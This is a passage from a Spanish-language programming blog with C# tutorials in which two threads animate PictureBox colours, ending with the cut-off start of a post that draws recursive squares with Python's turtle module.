style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> if (g == 255)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> b2 = true;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">if</span> (g >= 0 && g <= 255 && b2 == true)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> g--;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> if (g == 0)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> b2 = false;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">if</span> (this.InvokeRequired)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> this.BeginInvoke((<span style="color: #237169;">Action</span>)(() =></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> pictureBox2.BackColor = Color.FromArgb(100, g, 80);</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> pictureBox2.Refresh();</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }));</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">private void </span>Form1_FormClosed(object sender, FormClosedEventArgs e)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;">}</span></p></td></tr></tbody></table></center></div><p align="left"><span style="font-family: inherit; font-size: small;"> </span></p><p><a href="https://drive.google.com/file/d/12nrkUH_rvLMuKOQPgi_6-hmbbmh8yCCN/view?usp=sharing" rel="nofollow" target="_blank">El nuevo ejemplo se puede descargar de aquí</a>.</p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-75427333995395170642023-09-29T10:15:00.008-07:002023-11-09T18:08:33.364-08:00Hilos con C# (C Sharp)<p>Otro tutorial viejito, muy viejito, hay un detalle qué arreglar en el código, pero eso lo voy a explicar en una siguiente entrada:<br /><span style="font-family: inherit;"><br /></span></p><p style="text-align: left;"><span style="font-family: inherit; font-size: small;">¡Hilos! Visual Basic 6 no
los permite, y programarlos en Borland C++ es muy engorroso (personalmente odio
tener que estar programando archivos .h y el Borland los necesita para poder
usar los hilos). En este tutorial voy a usar C#.<br /></span></p>
<p style="text-align: left;"><span style="font-family: inherit; font-size: small;">Para el programita que voy a
mostrar a continuación hay que abrir el Visual C# (yo uso el 2005), crear un
nuevo proyecto tipo Windows Application y en el formulario que aparece, ponerle
dos Pictureboxes: pictureBox1 y pictureBox2. Al final, debe verse así:</span> <br /></p>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPJ1eUJXPgv-frBc2os5UrumukQdncnGgObrwkO35DNswAQaBoe3h06oSvhyEKZz-F_J7PVRfmPqzW7P1e6UaNusDy4KKLbRtx3nZAdf5-nSAFKClbfRWHgJpOhDL9bOyVkKmczs_x9W7-KG6J7tO75pxGZQYeQdkrXsvBe63ofZUTLGMRc6dT_JBuV3E/s431/hilos1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="350" data-original-width="431" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPJ1eUJXPgv-frBc2os5UrumukQdncnGgObrwkO35DNswAQaBoe3h06oSvhyEKZz-F_J7PVRfmPqzW7P1e6UaNusDy4KKLbRtx3nZAdf5-nSAFKClbfRWHgJpOhDL9bOyVkKmczs_x9W7-KG6J7tO75pxGZQYeQdkrXsvBe63ofZUTLGMRc6dT_JBuV3E/s16000/hilos1.jpg" /></a></div><p align="center"></p>
<p align="left"><span style="font-size: small;"><span style="font-family: inherit;"> </span></span></p>
<p align="left"><span style="font-family: inherit; font-size: small;">Y luego se le mete este
código:</span></p>
<div align="center">
<center>
<table bgcolor="#000000" border="2" cellpadding="2" style="width: 92%;">
<tbody><tr>
<td bgcolor="#FFFFFF" width="100%">
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="color: blue; font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">using</span><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"> System;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="color: blue; font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">using</span><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"> System.Drawing;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="color: blue; font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">using</span><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"> System.Text;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="color: blue; font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">using</span><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
System.Windows.Forms;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="color: blue; font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">using</span><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"> System.Threading;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"> </p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="color: blue; font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">namespace</span><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
WindowsApplication1
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;"> </span><span style="color: blue;">public</span>
<span style="color: blue;">partial</span> <span style="color: blue;">class</span>
<span style="color: teal;">Form1</span> : <span style="color: teal;">Form
</span></span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;"> </span>{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: teal;">Thread</span> p1;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: teal;">Thread</span> p2;</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"> <span style="mso-spacerun: yes;">
</span><span style="color: blue;">byte</span> r, g;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">bool</span> b1, b2;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">public</span> Form1()
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>InitializeComponent();
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>}
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">private</span> <span style="color: blue;">void</span>
Form1_Load(<span style="color: blue;">object</span> sender, <span style="color: teal;">EventArgs</span>
e)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>r = 0; g = 255; b1 = <span style="color: blue;">false</span>; b2 = <span style="color: blue;">true</span>;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"> <span style="mso-spacerun: yes;">
</span>p1 = <span style="color: blue;">new</span> <span style="color: teal;">Thread</span>(<span style="color: blue;">new</span>
<span style="color: teal;">ThreadStart</span>(Hilo1));
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>p2 = <span style="color: blue;">new</span> <span style="color: teal;">Thread</span>(<span style="color: blue;">new</span>
<span style="color: teal;">ThreadStart</span>(Hilo2));
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"> <span style="mso-spacerun: yes;">
</span>p1.Start();
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>p2.Start();
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>}
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">public</span> <span style="color: blue;">void</span>
Hilo1() {
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">while</span> (<span style="color: blue;">true</span>)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: teal;">Thread</span>.Sleep(10);
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">if</span> (r >= 0 && r <=
255 && b1 == <span style="color: blue;">false</span>)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>r++;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">if</span> (r == 255)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>b1 = <span style="color: blue;">true</span>;<span style="mso-spacerun: yes;">
</span>
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>}
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">if</span> (r >= 0 && r <=
255 && b1 == <span style="color: blue;">true</span>)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>r--;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">if</span> (r == 0)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>b1 = <span style="color: blue;">false</span>;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>}
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>pictureBox1.BackColor = <span style="color: teal;">Color</span>.FromArgb(r,
80, 100);
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>}
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;"> </span>}
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">public</span> <span style="color: blue;">void</span>
Hilo2() {
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">while</span> (<span style="color: blue;">true</span>)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: teal;">Thread</span>.Sleep(10);
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">if</span> (g >= 0 && g <=
255 && b2 == <span style="color: blue;">false</span>)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>g++;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">if</span> (g == 255)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>b2 = <span style="color: blue;">true</span>;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>}
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">if</span> (g >= 0 && g <=
255 && b2 == <span style="color: blue;">true</span>)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>g--;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">if</span> (g == 0)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>b2 = <span style="color: blue;">false</span>;
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>}<span style="mso-spacerun: yes;"> </span>
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>pictureBox2.BackColor = <span style="color: teal;">Color</span>.FromArgb(100,
g, 80);<span style="mso-spacerun: yes;"> </span>
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>}<span style="mso-spacerun: yes;">
</span>
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>}
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;">
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span><span style="color: blue;">private</span> <span style="color: blue;">void</span>
Form1_FormClosed(<span style="color: blue;">object</span> sender, <span style="color: teal;">FormClosedEventArgs</span>
e)
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>{
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>p1.Abort();
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: "Courier New"; font-size: 10pt; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">
</span>p2.Abort();
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span lang="EN-US" style="font-family: Courier New; font-size: 10pt; mso-ansi-language: EN-US; mso-spacerun: yes;">
</span><span style="font-family: "Courier New"; font-size: 10pt;">}
</span></p>
<p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10pt;"><span style="mso-spacerun: yes;"> </span>}
</span></p>
<p class="MsoNormal"><span style="font-family: "Courier New"; font-size: 10pt;">}</span></p></td>
</tr>
</tbody></table>
</center>
</div>
<p align="left"><span style="font-family: inherit; font-size: small;"> </span></p>
<p align="left"><span style="font-family: inherit; font-size: small;">Lo que se debe entender
primero es que existen dos hilos: "p1" y "p2" (o dos objetos
de la clase "Thread", en inglés "Hilo") cada uno asociado a
un método: A "p1" le corresponde "Hilo1" y a "p2"
le corresponde "Hilo2". Lo que "p1" y "p2"
permiten es que ambos métodos (Hilo1 e Hilo2) se ejecuten de manera simultánea.
</span></p>
<p align="left"><span style="font-family: inherit; font-size: small;">Todas las otras variables en
el programa son de control. Los hilos empiezan a ejecutarse al llamar al método
"Start" y se terminan con "Abort". El C# no permite llamar
de nuevo a "Start" para un hilo que ya se está ejecutando. </span></p>
<p align="left"><span style="font-family: inherit; font-size: small;">Lo que hace el programa
simplemente es variar el color de ambos PictureBoxes en un bucle que jamás
termina, para ello se usa el comando </span><span lang="EN-US" style="font-family: inherit; font-size: small; mso-ansi-language: EN-US;">CualquierPictureBox.BackColor = <span style="color: teal;">Color</span>.FromArgb(100,
g, 80);<span style="mso-spacerun: yes;"></span></span><span style="font-family: inherit; font-size: small;">
</span></p>
<p align="left"><span style="font-family: inherit; font-size: small;">También uso el método
Thread.Sleep que detiene la ejecución del hilo durante el tiempo en
milisegundos que va entre paréntesis. Esto es para que los colores varíen
despacio y se puedan apreciar.</span></p>
<p align="left"><span style="font-family: inherit; font-size: small;">Cada vez que dentro de un
método se usa la palabra "Thread" ésta se refiere al hilo que está
asociado a él. </span></p>
<p align="left"><span style="font-family: inherit; font-size: small;">Una buena página para aprender hilos en C# es ésta: <a href="https://www.albahari.com/">https://www.albahari.com/</a></span></p>
<p align="left"></p>
<p align="left"><span style="font-family: inherit; font-size: small;">Y acá se puede descargar <a href="https://drive.google.com/file/d/1sQzvVl6cj99YbInW5VVDorhVzZr2F11M/view?usp=sharing" target="_blank">mi ejemplo de los PictureBoxes</a>.</span></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-63926905414831410572023-06-17T14:55:00.004-07:002023-06-17T22:03:23.614-07:00Cuadrados recursivos (y con colores) usando la tortuga de Python<p>Quise jugar un poco más con la recursividad en Python, <a href="http://programacionamartillazos.blogspot.com/2022/03/dibujando-arbolitos-fractales-con-la.html" rel="nofollow" target="_blank">así que cogí mi código de los arbolitos fractales</a> y lo modifiqué para que dibujara cuadraditos (tuve que hacer unos cálculos en mi cabeza para que los cuadrados pequeños se ubicaran en medio de cada lado del cuadrado más grande):</p><div><span style="font-family: courier;"><span style="color: #2b00fe;">from </span>operator <span style="color: #2b00fe;">import </span>length_hint<br /><span style="color: #2b00fe;">import </span>turtle as t<br /></span><br /></div><div><span style="font-family: courier;"><span style="color: #2b00fe;">def </span><span style="color: #0b5394;">cuadrado</span>(lenght):<br /> t.forward(lenght)<br /> t.seth(90)<br /> t.forward(lenght)<br /> t.seth(180)<br /> t.forward(lenght)<br /> t.seth(270)<br /> t.forward(lenght)<br /> t.seth(0)<br /><br /><span style="color: #2b00fe;">def </span><span style="color: #0b5394;">drawit2</span>(x, y, lenght):<br /> <span style="color: #2b00fe;">if </span>lenght > 5:<br /> t.penup()<br /> t.goto(x, y)<br /> <br 